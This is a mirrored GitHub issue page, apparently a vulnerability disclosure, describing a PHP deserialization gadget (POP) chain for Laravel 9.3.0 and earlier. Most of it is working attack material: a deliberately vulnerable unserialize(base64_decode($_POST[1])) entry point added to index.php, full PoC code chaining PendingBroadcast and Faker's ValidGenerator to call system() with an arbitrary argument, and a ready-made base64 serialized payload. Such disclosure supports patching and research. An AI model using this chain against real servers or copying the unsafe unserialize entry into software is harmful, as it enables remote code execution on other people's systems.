Giter VIP home page Giter VIP logo

vulns's People

Contributors

ks192 avatar

Watchers

 avatar

vulns's Issues

Laravel 9.3.0 and before POP chain

在public的index中写入反序列化的入口

<?php
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
if (file_exists($maintenance = __DIR__ . '/../storage/framework/maintenance.php')) {
    require $maintenance;
}
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
    $request = Request::capture()
)->send();
$kernel->terminate($request, $response);
/*
* Add an entry to the deserialization vulnerability here
*/
unserialize(base64_decode($_POST[1]));

POC

<?php
namespace Illuminate\Broadcasting {
    use Faker\ValidGenerator;
    class PendingBroadcast
    {   protected $events;
        public function __construct()
        {
            $this->events =new ValidGenerator();
        }
    }
}
namespace Faker{
    class ValidGenerator
    {   protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct()
        {   $this->generator=new DefaultGenerator();
            $this->validator='system';//使用的函数
            $this->maxRetries=1;
        }
    }
    class DefaultGenerator
    {   protected $default;
        public function __construct()
        {
            $this->default='calc';//执行的参数
        }
    }
}
namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    $a = new PendingBroadcast();
    echo base64_encode(serialize($a));
}
?>

payload:

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6NDoiY2FsYyI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fQ==

验证:

image-20220726224020225

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.